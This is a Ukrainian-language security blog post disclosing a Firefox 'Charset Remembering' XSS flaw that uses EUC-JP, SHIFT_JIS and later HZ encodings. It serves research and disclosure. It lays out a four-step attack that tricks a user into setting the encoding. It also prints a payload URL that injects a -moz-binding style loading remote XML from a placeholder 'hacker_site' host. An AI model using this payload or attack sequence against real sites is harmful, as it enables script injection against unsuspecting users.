Charset Remembering Firefox’а наносить удар у відповідь

23:58 03.03.2009

03.03.2009

Так, Charset Remembering Firefox’а наносить удар у відповідь (Firefox’s Charset Remembering strikes back). Раніше я розповідав про Charset Remembering уразливість в Mozilla Firefox. І як я писав в коментарях до свого запису, Mozilla частково виправила уразливість, але виправила лише атаку через UTF-7 (в Firefox 3.0.2). Сама ж Charset Remembering в браузері залишилася, що я перевірив в Firefox 3.0.6. Що може бути використано для проведення подібних атак з іншим кодуванням.

І одразу, як я написав даний коментар, я почав обмірковувати можливість атаки з іншими кодуваннями (окрім UTF-7). В мене виникли підозри, що для даної атаки можна використати кодування EUC-JP або SHIFT_JIS. Що я сьогодні перевірив і підтвердив можливість проведення XSS атаки з EUC-JP (SHIFT_JIS) з використанням Charset Remembering уразливості.

При вказані користувачем для сторінки на сайті кодування, браузер запам’ятовує дане кодування і використовує його в подальшому при всіх запитах до даної сторінки, якщо в ній не вказано кодування. Навіть після перезапуску браузеру - вказане кодування запам’ятовується доти, доки воно не буде змінено на інше. Що дозволить при вказанні кодування EUC-JP (SHIFT_JIS) проводити XSS атаки (при відвіданні сторінок з XSS кодом або приховані атаки через frame/iframe).

Алгоритм атаки (схожий на Charset Remembering з UTF-7):

1. Заманити користувача на сторінку http://site/page.html (де не вказане кодування) і змусити його встановити EUC-JP (SHIFT_JIS) кодування для даної сторінки.

2. Сторінка на сайті, що атакується, повинна бути придатна для проведення XSS атак з variable-width encoding.

3. Розмістити спеціальний XSS код на http://site/page.html (як reflected або persistent) і атакувати користувача на даній сторінці.

4. Доки кодування EUC-JP (SHIFT_JIS) для даної сторінки буде встановлене в браузері, можна буде повторно атакувати користувача.

Уразливі Mozilla Firefox 3.0.6 та всі попередні версії (всі браузери на движку Mozilla).

XSS через Charset Remembering:

Коли фільтруються кутові дужки і лапки, то атакувати можна з використанням -moz-binding.

http://site/page.html?a=%8F&b=%20style=-moz-binding:url(http://hacker_site/xss.xml%23xss)%20

Працює в Mozilla 1.7.x, в Firefox 1.x та потенційно в Firefox 2.x, але не в Firefox 3.0.6 (де виправлений -moz-binding вектор атаки).

Коли фільтруються лише лапки (а кутові дужки можливі), то атакувати можна без -moz-binding.

PoC:

Firefox_XSS_Charset_Remembering.html.

Працює в Mozilla Firefox 3.0.6 та всіх попередніх версіях.

16.06.2012

Як я вияснив, дана атака також може бути проведена при кодуванні Chinese Simplified (HZ). Також XSS і Charset Remembering уразливості наявні в браузерах в Internet Explorer і Opera.


Leave a Reply

You must be logged in to post a comment.